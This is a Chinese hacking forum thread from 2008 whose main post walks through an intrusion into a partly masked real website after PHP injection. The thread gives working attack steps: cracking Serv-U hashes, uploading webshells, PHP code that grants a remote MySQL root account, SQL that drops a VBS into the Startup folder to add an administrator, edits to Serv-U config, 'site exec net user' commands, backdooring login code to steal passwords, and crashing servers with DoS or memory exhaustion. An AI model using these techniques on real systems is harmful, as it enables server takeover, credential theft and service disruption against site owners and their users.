找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 886|回复: 2

php注射后的提权

[复制链接]

6

主题

152

回帖

213

牛毛

一级牛人

http://hi.baidu.com/hackysy 我

积分
213
QQ
发表于 2008-8-19 15:27:52 | 显示全部楼层 来自 重庆市南川区
抢到沙发看看你的文章怎么样 [s:162]

485

主题

3564

回帖

70

牛毛

初生牛犊

积分
70
发表于 2008-8-19 15:30:50 | 显示全部楼层 来自 辽宁省营口市
这东西不留着可惜了

2

主题

6

回帖

10

牛毛

初生牛犊

积分
10
 楼主| 发表于 2008-8-19 15:26:35 | 显示全部楼层 |阅读模式 来自 广东省茂名市
方法一:爆破法.

最显眼的要属用户名和密码了,关键是如何破密码呢?到网上搜了一个专门破SERV-U密码的工具(Serv-UPassCrack1.0a.rar),太慢了,这要等到何年何月啊!干脆用记事本打开它的脚本crack.vbs.看看解密原理:假设原来明文密码用\"password_mingwen\"表示,密文密码也就是我们在ServUDaemon.ini中看到的密码(34位),用\"password_miwen\"表示,密文的前两位合并上明文,然后经MD5加密后正好等于密文的后三十二位!】

即:md5(password_mingwen+left(password_miwen,2)=right(password_miwen,32)俗话说的好啊,\"工欲善其事,必先利其器\"在网上找了两上绝配的工具!一个是MD5CrackSpV2.3(速度增强版,一个非常好用的MD5爆破工具),另一个是字典专家.BBSt,利用它我们可以生成前两位为我们指定字母的字典!!MD5CrackSpV2.3速度奇快,我们可以指定开的线程数,我在P4,256M内存环境下做了一个测试,利用字典专家.BBSt生成一个含3亿条记录,1.2G左右的字典,用MD5CrackSpV2.3开8线程跑,总共用了30分钟!一个线程一秒钟跑大约2万条记录,8个线程一秒钟,就是16万条记录!!照此计算一台机器一天就能跑约138亿条记录!假如有十台P4连合作业,威力无穷啊!同时在网上看到消息说山东大学已经研究出来了破解MD5的算法!但是没有找到具体的程序,程序一旦出世,密而不密,恐怕很多网站又要遭殃了!!

方法二:程序法.

在c:\\ProgramFiles\\Serv-U\\ServUDaemon.ini文件中共有十多位用户,其中有一个的用户目录:\"d:\\s***n\\a***lover\\photo\\gallery\"吸引了我。立即在浏览器中打上http://www.*****.net/a***lover/photo/gallery出现如下提示:\"ThisVirtualDirectorydoesnotallowcontentstobelisted\",在试试它的上一级目录看看:http://www.*****.net/a***lover/photo/真是山重水复疑无路,柳暗花明又一村啊!原来在机子里还藏着个某某网络相册.

首先注册个用户进去看看,有图片上传功能啊,抓包看看是否存在有类似动网UPFILE的漏洞,用NC提交后失败了,上传类型还是图片文件,又是那句话:\"此路不通\"。利用CASI查看http://www.*****.net/a***lover/photo/index.php的文件内容得知:程序中文名称:文本图片管理程序程序英文名称:NEATPIC版本:2.0.13BETA,老规矩先到网上下个研究研究在说。经过分析目录结构发现在:database/user.php文件用于存放用户名密码等注册信息!用CASI打开:http://www.*****.net/a***lover/photo/database/user.php显示无文件内容!难道是默认目录不对?!管理员把目录改了!!看配置文件:http://www.*****.net/a***lover/photo/inc/config.inc.php发现:
//参数设置
//*********************************
$DataDir=\"database678\";//杂项数据存放目录
$CatDir=\"second\";//二级分类数据存放目录
$SortDir=\"main\";//分类数据文件存放目录
$PicRecordDir=\"picdata\";//图片数据总目录
$PicDir=\"pic\";//图片文件存放目录
$SPicDir=\"spic\";//缩略图存放目录
$CommentDir=\"comment\";//图片评论目录
$UserDat=\"user.php\";//用户数据文件
$Dat=\"dat.php\";//相册数据文件

一、上传PHPSHELL,控制MYSQL数据库

通过ServUDaemon.ini文件中的Access1=D:\\s***n\\a***lover\\photo\\gallery|RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了\"执行(E)\"功能!利用PUT命令上传一个一句话的WebShell上去.在浏览器中运行http://www.*****.net/a***lover/photo/gallery/webshell.php?cmd=dir,出现:
Warning:passthru():Unabletofork[dir]inD:\\s***n\\a***lover\\photo\\gallery\\webshell.phponline1
看来外部命令不能执行,管理员一定作了相应设置.再上传一个phpinfo.php文件在浏览器中运行:http://www.*****.net/a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设置都显示出来了(当然也你可以利用CASI看c:\\windows\\php.ini的内容)!外部命令不能执行的原因在此:

以下是引用片段:
safe_mode
Off
Off

safe_mode_exec_dir
no value
no value

safe_mode_gid
Off
Off

safe_mode_include_dir
no value
no value



接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP

注: 由于时间仓促代码界面没优化好,在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\\web\\cmd.php,下面输入目标 文件如d:\\web\\cmdbak.php;del文本框中输入要删除的文件名如:d:\\web\\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了.

运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\\windows,以及C:\\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^

如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗?
$dbhost=\"localhost\";//数据库主机名
$dbuser=\"root\";//数据库用户名
$dbpass=\"******\";//数据库密码
$dbname=\"article\";//数据库名

数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。

为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号,内容如下:


以下是代码片段:
$dbh=mysql_connect('localhost:3306','root','*****');//
echo mysql_errno().\": \".mysql_error().\"
\";
mysql_select_db('mysql');
echo mysql_errno().\": \".mysql_error().\"
\";
$query=\"GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password'
WITH GRANT OPTION\";
$res=mysql_query($query, $dbh);
echo mysql_errno().\": \".mysql_error().\"
\";
$err=mysql_error();
if($err){
echo \"ERROR!\";
}
else{
echo \"ADD USER OK!\";
}
?>



利用cmd.php上传adduser.php执行后,就在库中添加了一个远程ROOT帐号,就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。
二、提升权限

FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存在益处,在网上搜个工具sftp


行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功,看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下总结了几种提升权限的方法供大参考:

方法一、打开牛族MYSQL连接器,在命令行上输入:
user download;
create table cmdphp (cmd TEXT);
insert into cmdphp values(\"set wshshell=createobject(\\\"wscript.shell\\\")\");
insert into cmdphp values(\"a=wshshell.run(\\\"cmd.exe /c net user hello hello\\\",0)\");
insert into cmdphp values(\"b=wshshell.run(\\\"cmd.exe /c net user localgroup administrators hello /add\\\",0)\");
select * from cmdphp into outfile \"c:\\\\Documents and Settings\\\\Administrator\\\\[开始]菜单\\\\程序\\\\启动\\\\cmdphp.vbs\";
注 意:在路径中要用\"\\\\\"而不是\"\\\",要加双引号时,前面必需加\"\\\"。

原理是:我们在download数据库中,建了一个表cmdphp,表中共一个 字段cmd,我们把要执行的命令写到表中,然后在在表中导出到启动菜单中!这样只要一重起后,我们就会得到一个管理员级的用户hello了。d:\\ s***n\\a***lover\\photo\\gallery

方法二、修改SERV-U的文件ServUDaemon.ini中的相应内容:

Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971
HomeDir=c:\\
RelPaths=1
TimeOut=600
Access1=D:\\s***n\\ a***lover\\photo\\gallery |RWAMELCDP
Maintenance=System
SKEYValues=

把密码换成我们知道的密码,把主目录换成c:\\,Access1后的目录可以不用换,这样使管理员在SERV-U里看起来还是以前的目录名, |RWAMELCDP这一串是关键,我们比以前多加了一个\"E\"代表我们有\"执行\"权限,Maintenance=System表示我们的身份是管理员。

在本地设置好后,就开始想办法,替换掉它的文件?首先,利用我的哪个cmd.。php SHELL的上传文件功能,先把它上传到d:\\s***n\\a***lover\\photo\\gallery目录(上传成功后文件与SHELL在同一目 录)下,同样再打开牛族MYSQL连接器:
user download;
create table servu (cmd TEXT);
load data infile \"d:\\\\s***n\\\\a***lover\\\\photo\\\\gallery\\\\ServUDaemon.ini;
select * from servu into outfile \"C:\\Program Files\\Serv-U\\ServUDaemon.ini\";

条件是SERV-U重启后,我们的哪个用户就是管理员了,而且在C盘根目录下具有可执行权限。登上SERV-U服务器上执行如下命令:
quote site exec net.exe user hello hello /add
quote site exec net.exe localgroup administrators hello /add

这样我们就得到了一个管理员级的用户hello。如果没有开3389我们可以利用PUT上传给它上传个3389.EXE,然后用quote执行后,就可以用 3389登录器连接了!同样我们也可以利用另外一个小工具xyzcmd.exe在DOS下登录,会得到一个CMDSHELL.

方法三:由于管理员在PHP.INI中做了一些限制,上传的PHPSHELL没法执行外部命令

利用CMD.PHP的浏览命令,你可以在它的上面找到它的PHP和SERV- U的安装程序,DOWN下来,在本机上模拟它的环境,配置自己的PHP.INI文件,使它能够执行外部命令,解释ASP和CGI,然后利用方法二替换掉它 的PHP.INI文件。也有个条件就是WEB重启后才能生效。我们需要一个小东西-FPIPE.EXE端口重定向工具!fpipe -v -l 5210 -s 5209 -r 43***58 127.0.0.1(把本机的43***58端口,通过5209端口,转发到5210端口)打开你本地SERV-U添加一台服务器,来连接5210,填上服务 器IP,监听端口号5210,填上帐户和密码!user:LocalAdministratorpass:#l@$ak#.lk;0@P全部搞定后,来连接SERV-U,连接成功后,我们就对此服务器SERV-U有了完全控制权限!然后登录上 SERV-U加管理员用户就OK了!

方法四:社会工程学加网页木马!

在04年黑防第6期我的朋友血汉的《网页木马让你肉鸡成群》一文中,讲了许多 做木马的方法,在这里就不啰嗦了,省的老独说转稿费,哈哈!把\"马\"传上去后,可以在论坛里发个贴子,如\"管理员我发现了此网站一个漏洞!\"或\"管理员我 对网站有几点建议\"估计不久真的会成为\"养鸡专业户了\"。建议不要改人家的主页,一来不好,二来如果挂在主页上,管理员看到后不一定会点开!还有更隐蔽的 一招,就是修改源程序(估计一般管理员不会没事读源程序吧^_^),找到网站登录的程序,加一段程序,可以根据ID来判断是管理员,如果是把他的密码(在 如MD5加密前)插入到你的信箱或QQ等字段中,这样你可以打开你的用户资料来看了!!

接下来谈谈如何叫服务器重起:

方法一、我非常建议用的方法哪就是DOS攻击!
方法二、如果你上传的SHELL能执行命令!可以传一个很简单的C程序,让它不断地MALLOC分配内存,而且不FREE。
#i nclude
#i nclude
main()
{for(; ;) malloc(0xffffff);}
方法三、如果一些网站是PHP的不能执行外部命令(我们上传上去的可执行文件不能运行)!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-14 18:09 , Processed in 0.132394 second(s), 35 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表